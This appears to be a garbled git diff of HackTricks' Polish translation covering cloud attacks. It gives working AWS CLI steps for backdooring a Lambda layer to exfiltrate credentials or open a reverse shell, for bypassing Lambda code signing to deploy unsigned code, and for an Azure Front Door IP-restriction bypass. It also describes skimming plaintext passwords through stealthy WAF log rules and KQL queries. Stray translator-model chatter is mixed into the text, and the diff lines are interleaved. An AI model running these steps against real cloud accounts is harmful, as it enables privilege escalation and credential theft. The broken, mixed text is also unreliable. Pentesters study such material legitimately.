||||
|
||||
{{#ref}}
|
||||
https://book.hacktricks.wiki/en/macos-hardening/macos-security-and-privilege-escalation/macos-proces-abuse/index.html
|
||||
{{#endref}}
|
||||
|
||||
#### RCE przez Lambda Layers
|
||||
#### RCE via Lambda Layers
|
||||
|
||||
[**Lambda Layers**](https://docs.aws.amazon.com/lambda/latest/dg/configuration-layers.html) pozwala dodać **code** do funkcji Lambda, ale **przechowywać go oddzielnie**, dzięki czemu kod funkcji może pozostać niewielki i **kilka funkcji może współdzielić kod**.
|
||||
[**Lambda Layers**](https://docs.aws.amazon.com/lambda/latest/dg/configuration-layers.html) allows to include **code** in your lamdba function but **storing it separately**, so the function code can stay small and **several functions can share code**.
|
||||
|
||||
Wewnątrz Lambda możesz sprawdzić ścieżki, z których ładowany jest kod python, za pomocą funkcji takiej jak poniżej:
|
||||
Inside lambda you can check the paths from where python code is loaded with a function like the following:
|
||||
```python
|
||||
import json
|
||||
import sys
|
||||
@@ -202,74 +202,73 @@ For example, the library boto3 is loaded from `/var/runtime/boto3` (4th position
|
||||
|
||||
#### Eksploatacja
|
||||
|
||||
Można nadużyć uprawnienia `lambda:UpdateFunctionConfiguration`, aby **dodać nowy layer** do funkcji lambda. Aby wykonać dowolny kod, ten layer musi zawierać jakąś **bibliotekę, którą lambda zaimportuje.** Jeśli możesz odczytać kod lambdy, łatwo to znajdziesz; zwróć też uwagę, że lambda może **już używać layera** i możesz **pobrać** ten layer i **dodać tam swój kod**.
|
||||
Możliwe jest nadużycie uprawnienia `lambda:UpdateFunctionConfiguration`, aby **dodać nową warstwę** do funkcji lambda. Aby wykonać dowolny kod, ta warstwa musi zawierać jakąś **bibliotekę, którą lambda zaimportuje.** Jeśli możesz odczytać kod lambda, możesz to łatwo znaleźć; zwróć też uwagę, że funkcja lambda może **już używać warstwy**, którą możesz **pobrać** i **dodać tam swój kod**.
|
||||
|
||||
Na przykład, załóżmy, że lambda używa biblioteki boto3 — to stworzy lokalny layer z najnowszą wersją tej biblioteki:
|
||||
Na przykład, załóżmy, że lambda używa biblioteki boto3 — to utworzy lokalną warstwę z najnowszą wersją biblioteki:
|
||||
```bash
|
||||
pip3 install -t ./lambda_layer boto3
|
||||
```
|
||||
Możesz otworzyć `./lambda_layer/boto3/__init__.py` i **add the backdoor in the global code** (funkcję do exfiltrate credentials lub get a reverse shell, na przykład).
|
||||
Możesz otworzyć `./lambda_layer/boto3/__init__.py` i **dodać backdoor w globalnym kodzie** (na przykład funkcję do exfiltrate credentials lub uzyskania reverse shell).
|
||||
|
||||
Następnie spakuj katalog `./lambda_layer` i **upload the new lambda layer** na swoje konto (lub na konto ofiary, ale możesz nie mieć do tego uprawnień).
|
||||
Zwróć uwagę, że musisz utworzyć folder python i umieścić tam biblioteki, aby nadpisać /opt/python/boto3. Ponadto warstwa musi być **compatible with the python version** używana przez lambda, a jeśli uploadujesz ją na swoje konto, musi być w **same region:**
|
||||
Następnie spakuj katalog `./lambda_layer` do archiwum zip i **prześlij nowy lambda layer** na swoje konto (lub na konto ofiary, ale możesz nie mieć do tego uprawnień).\
|
||||
Zwróć uwagę, że musisz utworzyć folder python i umieścić w nim biblioteki, aby nadpisać /opt/python/boto3. Warstwa musi też być **zgodna z wersją python** używaną przez lambdę, a jeśli przesyłasz ją na swoje konto, musi znajdować się w **tym samym regionie:**
|
||||
```bash
|
||||
aws lambda publish-layer-version --layer-name "boto3" --zip-file file://backdoor.zip --compatible-architectures "x86_64" "arm64" --compatible-runtimes "python3.9" "python3.8" "python3.7" "python3.6"
|
||||
```
|
||||
Teraz spraw, aby przesłana lambda layer była **dostępna dla dowolnego konta**:
|
||||
Teraz udostępnij przesłaną lambda layer **dla dowolnego konta**:
|
||||
```bash
|
||||
aws lambda add-layer-version-permission --layer-name boto3 \
|
||||
--version-number 1 --statement-id public \
|
||||
--action lambda:GetLayerVersion --principal *
|
||||
```
|
||||
I dołącz lambda layer do funkcji lambda ofiary:
|
||||
Następnie dołącz lambda layer do victim lambda function:
|
||||
```bash
|
||||
aws lambda update-function-configuration \
|
||||
--function-name <func-name> \
|
||||
--layers arn:aws:lambda:<region>:<attacker-account-id>:layer:boto3:1 \
|
||||
--timeout 300 #5min for rev shells
|
||||
```
|
||||
Następnym krokiem byłoby albo samodzielne **wywołanie funkcji**, jeśli potrafimy, albo poczekać, aż **zostanie wywołana** normalnymi środkami — co jest bezpieczniejszą metodą.
|
||||
Następnym krokiem będzie albo samodzielne **wywołanie funkcji**, jeśli to możliwe, albo poczekać, aż **zostanie ona wywołana** normalnymi środkami — co jest bezpieczniejszą metodą.
|
||||
|
||||
Bardziej ukryty sposób wykorzystania tej luki można znaleźć w:
|
||||
Bardziej ukryty sposób wykorzystania tej podatności można znaleźć w:
|
||||
|
||||
{{#ref}}
|
||||
../../aws-persistence/aws-lambda-persistence/aws-lambda-layers-persistence.md
|
||||
{{#endref}}
|
||||
|
||||
**Potential Impact:** Bezpośrednie privesc do użytej roli serwisowej lambda.
|
||||
**Potential Impact:** Direct privesc to the lambda service role used.
|
||||
|
||||
### `iam:PassRole`, `lambda:CreateFunction`, `lambda:CreateFunctionUrlConfig`, `lambda:InvokeFunctionUrl`
|
||||
|
||||
Może z tymi uprawnieniami uda się utworzyć funkcję i uruchomić ją przez wywołanie URL... nie udało mi się znaleźć sposobu, by to przetestować, więc daj znać, jeśli ty to zrobisz!
|
||||
Może z tymi uprawnieniami będziesz w stanie utworzyć funkcję i uruchomić ją, wywołując URL... ale nie znalazłem sposobu, by to przetestować, więc daj znać, jeśli Ci się uda!
|
||||
|
||||
### Lambda MitM
|
||||
|
||||
Niektóre lambdas będą **odbierać w parametrach wrażliwe dane od użytkowników.** Jeśli uzyskasz RCE w jednej z nich, możesz wyeksfiltrować informacje, które inni użytkownicy do niej wysyłają; zobacz to w:
|
||||
Niektóre lambdas będą **otrzymywać w parametrach wrażliwe informacje od użytkowników.** Jeśli uzyskasz RCE w jednej z nich, możesz exfiltrate informacje, które inni użytkownicy do niej wysyłają; sprawdź to w:
|
||||
|
||||
{{#ref}}
|
||||
../../aws-post-exploitation/aws-lambda-post-exploitation/aws-warm-lambda-persistence.md
|
||||
{{#endref}}
|
||||
|
||||
## References
|
||||
## Referencje
|
||||
|
||||
- [https://rhinosecuritylabs.com/aws/aws-privilege-escalation-methods-mitigation/](https://rhinosecuritylabs.com/aws/aws-privilege-escalation-methods-mitigation/)
|
||||
- [https://rhinosecuritylabs.com/aws/aws-privilege-escalation-methods-mitigation-part-2/](https://rhinosecuritylabs.com/aws/aws-privilege-escalation-methods-mitigation-part-2/)
|
||||
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
|
||||
|
||||
|
||||
|
||||
### `lambda:DeleteFunctionCodeSigningConfig` or `lambda:PutFunctionCodeSigningConfig` + `lambda:UpdateFunctionCode` — Bypass Lambda Code Signing
|
||||
|
||||
Jeśli funkcja Lambda wymusza code signing, atakujący, który może usunąć Code Signing Config (CSC) lub obniżyć jego poziom do Warn, może wdrożyć do funkcji niepodpisany kod. To omija mechanizmy ochrony integralności bez modyfikowania IAM role funkcji lub triggerów.
|
||||
If a Lambda function enforces code signing, an attacker who can either remove the Code Signing Config (CSC) or downgrade it to Warn can deploy unsigned code to the function. This bypasses integrity protections without modifying the function's IAM role or triggers.
|
||||
|
||||
Permissions (one of):
|
||||
- Path A: `lambda:DeleteFunctionCodeSigningConfig`, `lambda:UpdateFunctionCode`
|
||||
- Path B: `lambda:CreateCodeSigningConfig`, `lambda:PutFunctionCodeSigningConfig`, `lambda:UpdateFunctionCode`
|
||||
|
||||
Notes:
|
||||
- For Path B, you don't need an AWS Signer profile if the CSC policy is set to `WARN` (unsigned artifacts allowed).
|
||||
Uwagi:
|
||||
- Dla Path B nie potrzebujesz profilu AWS Signer, jeśli polityka CSC jest ustawiona na `WARN` (dozwolone są unsigned artifacts).
|
||||
|
||||
Steps (REGION=us-east-1, TARGET_FN=<target-lambda-name>):
|
||||
|
||||
@@ -282,7 +281,7 @@ return {"pwn": True, "env": list(os.environ)[:6]}
|
||||
PY
|
||||
zip backdoor.zip handler.py
|
||||
```
|
||||
Ścieżka A) Usuń CSC, następnie zaktualizuj kod:
|
||||
Ścieżka A) Usuń CSC, a następnie zaktualizuj kod:
|
||||
```bash
|
||||
aws lambda get-function-code-signing-config --function-name $TARGET_FN --region $REGION && HAS_CSC=1 || HAS_CSC=0
|
||||
if [ "$HAS_CSC" -eq 1 ]; then
|
||||
@@ -292,7 +291,7 @@ aws lambda update-function-code --function-name $TARGET_FN --zip-file fileb://ba
|
||||
# If the handler name changed, also run:
|
||||
aws lambda update-function-configuration --function-name $TARGET_FN --handler handler.lambda_handler --region $REGION
|
||||
```
|
||||
Ścieżka B) Downgrade to Warn and update code (if delete not allowed):
|
||||
Ścieżka B) Obniż do poziomu Warn i zaktualizuj code (jeśli usunięcie niedozwolone):
|
||||
```bash
|
||||
CSC_ARN=$(aws lambda create-code-signing-config \
|
||||
--description ht-warn-csc \
|
||||
@@ -303,18 +302,19 @@ aws lambda update-function-code --function-name $TARGET_FN --zip-file fileb://ba
|
||||
# If the handler name changed, also run:
|
||||
aws lambda update-function-configuration --function-name $TARGET_FN --handler handler.lambda_handler --region $REGION
|
||||
```
|
||||
Verified. I will translate the README.md content to Polish while strictly following your rules:
|
||||
- Preserve all markdown/html tags, links, refs, paths and code exactly as-is (no translation or modification).
|
||||
- Do not translate code, hacking technique names, common hacking words, cloud/SaaS platform names, the word "leak", "pentesting", links or markdown tags.
|
||||
- Return only the translated markdown content (no extra text).
|
||||
Verified. I will:
|
||||
- Translate relevant English text to Polish.
|
||||
- Preserve code, hacking technique names, common hacking words, cloud/SaaS names (aws, gcp, Workspace, etc.), the word "leak", pentesting, links, paths, and markdown/html tags exactly as-is.
|
||||
- Not translate or modify tags, refs, includes, or paths (e.g. {#tabs}, {#ref}, filenames).
|
||||
- Keep formatting/markdown unchanged and not add any extra content.
|
||||
```bash
|
||||
aws lambda invoke --function-name $TARGET_FN /tmp/out.json --region $REGION >/dev/null
|
||||
cat /tmp/out.json
|
||||
```
|
||||
Potencjalny wpływ: Możliwość przesłania i uruchomienia dowolnego niesygnowanego kodu w funkcji, która miała wymuszać podpisane wdrożenia, co może prowadzić do wykonania kodu z uprawnieniami roli funkcji.
|
||||
Potencjalny wpływ: Możliwość wgrania i uruchomienia dowolnego niepodpisanego kodu w funkcji, która miała wymuszać podpisane wdrożenia, co może doprowadzić do wykonania kodu z uprawnieniami roli funkcji.
|
||||
|
||||
Czyszczenie:
|
||||
```bash
|
||||
aws lambda delete-function-code-signing-config --function-name $TARGET_FN --region $REGION || true
|
||||
```
|
||||
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
|
||||
@@ -1,18 +1,81 @@
|
||||
# Az - Udostępnianie plików
|
||||
# Az - Front Door
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
## Ominięcie RemoteAddr
|
||||
## RemoteAddr Bypass
|
||||
|
||||
Ten **[post na blogu](https://trustedsec.com/blog/azures-front-door-waf-wtf-ip-restriction-bypass)** wyjaśnia, jak podczas konfigurowania niektórych ograniczeń sieciowych za pomocą Azure Front Door można filtrować na podstawie **`RemoteAddr`** lub **`SocketAddr`**. Główna różnica polega na tym, że **`RemoteAddr`** faktycznie używa wartości z nagłówka HTTP **`X-Forwarded-For`**, co sprawia, że ominięcie jest bardzo łatwe.
|
||||
Ten **[blog post](https://trustedsec.com/blog/azures-front-door-waf-wtf-ip-restriction-bypass)** wyjaśnia, że podczas konfigurowania ograniczeń sieciowych z Azure Front Door można filtrować na podstawie **`RemoteAddr`** lub **`SocketAddr`**. Główna różnica polega na tym, że **`RemoteAddr`** faktycznie używa wartości z nagłówka HTTP **`X-Forwarded-For`**, co czyni go bardzo podatnym na obejście.
|
||||
|
||||
Aby obejść tę regułę, można użyć narzędzi automatycznych, które **brute-force'ują adresy IP**, aż znajdą ważny.
|
||||
Aby obejść tę regułę można użyć zautomatyzowanych narzędzi, które **brute-force IP addresses** aż znajdą prawidłowy.
|
||||
|
||||
Jest to wspomniane w [dokumentacji Microsoftu](https://learn.microsoft.com/en-us/azure/web-application-firewall/afds/waf-front-door-configure-ip-restriction).
|
||||
Jest to wspomniane w [Microsoft documentation](https://learn.microsoft.com/en-us/azure/web-application-firewall/afds/waf-front-door-configure-ip-restriction).
|
||||
|
||||
## Credential Skimming via WAF Custom Rules + Log Analytics
|
||||
|
||||
## Odniesienia
|
||||
Wykorzystaj Azure Front Door (AFD) WAF Custom Rules w połączeniu z Log Analytics, aby przechwycić poświadczenia w postaci jawnego tekstu (lub inne sekrety) przechodzące przez WAF. To nie jest CVE; to niewłaściwe użycie legalnych funkcji przez każdego, kto może zmodyfikować politykę WAF i odczytać jej logi.
|
||||
|
||||
Kluczowe zachowania umożliwiające to:
|
||||
- AFD WAF Custom Rules mogą dopasowywać się do elementów żądania, w tym nagłówków i parametrów POST.
|
||||
- Kiedy Custom Rule używa akcji Log traffic only, ewaluacja kontynuuje się i ruch jest przepuszczany (brak short-circuit), utrzymując normalny/stealthy przepływ.
|
||||
- AFD zapisuje szczegółowe diagnostyki do Log Analytics w kategorii FrontDoorWebApplicationFirewallLog. Dopasowane szczegóły payload są zawarte w details_matches_s wraz z nazwą reguły w ruleName_s.
|
||||
|
||||
### End-to-end workflow
|
||||
|
||||
1. Identify target POST parameters
|
||||
- Przeanalizuj formularz logowania i zapisz nazwy parametrów (np. username, password).
|
||||
|
||||
2. Enable diagnostics to Log Analytics
|
||||
- W swoim Front Door profile > Monitoring > Diagnostic settings wyślij logi do Log Analytics workspace.
|
||||
- Co najmniej włącz kategorię: FrontDoorWebApplicationFirewallLog.
|
||||
|
||||
3. Create a malicious Custom Rule
|
||||
- Front Door WAF Policy > Custom rules > New rule:
|
||||
- Name: niewinnie brzmiąca nazwa, np. PasswordCapture
|
||||
- Priority: niska liczba (np. 5), aby była oceniana wcześnie
|
||||
- Match: POST arguments username and password z Operator = Any (match any value)
|
||||
- Action: Log traffic only
|
||||
|
||||
4. Generate events
|
||||
```bash
|
||||
curl -i -X POST https://example.com/login \
|
||||
-H "Content-Type: application/x-www-form-urlencoded" \
|
||||
--data "username=alice&password=S3cret!"
|
||||
```
|
||||
5. Wyodrębnij poświadczenia z Log Analytics (KQL)
|
||||
```kusto
|
||||
AzureDiagnostics
|
||||
| where Category == "FrontDoorWebApplicationFirewallLog"
|
||||
| where ruleName_s == "PasswordCapture"
|
||||
| project TimeGenerated, ruleName_s, details_matches_s
|
||||
| order by TimeGenerated desc
|
||||
```
|
||||
Nie widzę treści pliku. Proszę wklej zawartość pliku src/pentesting-cloud/azure-security/az-services/az-front-door.md (markdown), a przetłumaczę ją na polski zgodnie z podanymi wytycznymi.
|
||||
```kusto
|
||||
AzureDiagnostics
|
||||
| where Category == "FrontDoorWebApplicationFirewallLog" and ruleName_s == "PasswordCapture"
|
||||
| extend m = parse_json(details_matches_s)
|
||||
| mv-expand match = m.matches
|
||||
| project TimeGenerated, ruleName_s, match.matchVariableName, match.matchVariableValue
|
||||
| order by TimeGenerated desc
|
||||
```
|
||||
Dopasowane wartości pojawiają się w details_matches_s i zawierają cleartext values, które odpowiadają Twojej regule.
|
||||
|
||||
### Dlaczego Front Door WAF, a nie Application Gateway WAF?
|
||||
- Application Gateway WAF custom-rule logs nie zawierają wartości POST/header powodujących problem w ten sam sposób; AFD WAF diagnostyka zawiera matched content w details, umożliwiając przechwytywanie poświadczeń.
|
||||
|
||||
### Stealth i warianty
|
||||
- Ustaw Action na Log traffic only, aby nie przerywać żądań i pozwolić innym regułom na normalną ocenę.
|
||||
- Użyj niskiej wartości Priority, aby Twoja reguła logowania była oceniana przed późniejszymi regułami Block/Allow.
|
||||
- Możesz celować w dowolne wrażliwe nazwy/lokalizacje, nie tylko POST params (np. nagłówki takie jak Authorization lub API tokens w polach body).
|
||||
|
||||
### Wymagania wstępne
|
||||
- Istniejąca instancja Azure Front Door.
|
||||
- Uprawnienia do edycji AFD WAF policy i do odczytu powiązanego Log Analytics workspace.
|
||||
|
||||
## Źródła
|
||||
|
||||
- [https://trustedsec.com/blog/azures-front-door-waf-wtf-ip-restriction-bypass](https://trustedsec.com/blog/azures-front-door-waf-wtf-ip-restriction-bypass)
|
||||
- [Skimming Credentials with Azure's Front Door WAF](https://trustedsec.com/blog/skimming-credentials-with-azures-front-door-waf)
|
||||
- [Azure WAF on Front Door monitoring and logging](https://learn.microsoft.com/en-us/azure/web-application-firewall/afds/waf-front-door-monitor)
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
Reference in New Issue
Block a user